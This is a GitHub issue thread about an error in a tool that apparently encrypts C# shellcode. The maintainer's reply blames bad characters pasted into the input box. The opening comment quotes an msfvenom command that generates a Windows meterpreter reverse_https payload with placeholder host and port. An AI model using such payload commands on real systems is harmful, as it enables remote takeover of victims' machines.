Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Error when trying to encrypt #8

Open
denisesaghCO opened this issue May 27, 2019 · 3 comments
Open

Error when trying to encrypt #8

denisesaghCO opened this issue May 27, 2019 · 3 comments

Comments

@denisesaghCO
Copy link

I followed your instructions but when I am trying to encrypt the csharp shellcode from "msfvenom windows/meterpreter/reverse_https LHOST=X.X.X.X LPORT=XXXX -f csharp" I am getting an error.

Error Output:
System.FormatException: Could not find any recognizable digits. at System.ParseNumbers.StringToInt (System.ReadOnlySpan1[T] s, System.Int32 radix, System.Int32 flags, System.Int32& currPos) [0x00165] in :0
at System.ParseNumbers.StringToInt (System.ReadOnlySpan1[T] s, System.Int32 radix, System.Int32 flags) [0x00002] in <d0e12f672b88444ab4b6d9b2ecf20142>:0 at System.Convert.ToByte (System.String value, System.Int32 fromBase) [0x00037] in <d0e12f672b88444ab4b6d9b2ecf20142>:0 at WindowsFormsApp1.Form1.hexStrToByteArray (System.String[] hexStr) [0x00028] in <b86e1328ce6f483b80c96d3c16192de3>:0 at WindowsFormsApp1.Form1.buton1_click (System.Object sender, System.EventArgs e) [0x00075] in <b86e1328ce6f483b80c96d3c16192de3>:0 at System.Windows.Forms.Control.OnClick (System.EventArgs e) [0x0001c] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Button.OnClick (System.EventArgs e) [0x00024] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.ButtonBase.OnMouseUp (System.Windows.Forms.MouseEventArgs mevent) [0x00081] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Button.OnMouseUp (System.Windows.Forms.MouseEventArgs mevent) [0x00000] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Control.WmLButtonUp (System.Windows.Forms.Message& m) [0x0007e] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Control.WndProc (System.Windows.Forms.Message& m) [0x0016f] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.ButtonBase.WndProc (System.Windows.Forms.Message& m) [0x0004e] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Button.WndProc (System.Windows.Forms.Message& m) [0x00000] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Control+ControlWindowTarget.OnMessage (System.Windows.Forms.Message& m) [0x00000] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Control+ControlNativeWindow.WndProc (System.Windows.Forms.Message& m) [0x0000b] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.NativeWindow.WndProc (System.IntPtr hWnd, System.Windows.Forms.Msg msg, System.IntPtr wParam, System.IntPtr lParam) [0x0008e] in <0e1823914d7643eeaf1207febb083a4a>:0

@Ch0pin
Copy link
Owner

Ch0pin commented May 28, 2019

Do you have the same output with the default values ?

@m0t420
Copy link

m0t420 commented Sep 24, 2019

I have the same problem. It only works with the default payload

@Ch0pin
Copy link
Owner

Ch0pin commented Sep 25, 2019

Since it works with the default payload then you might paste some bad chars in the input text box. Try to avoid spaces etc, when copy and paste to the text box

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants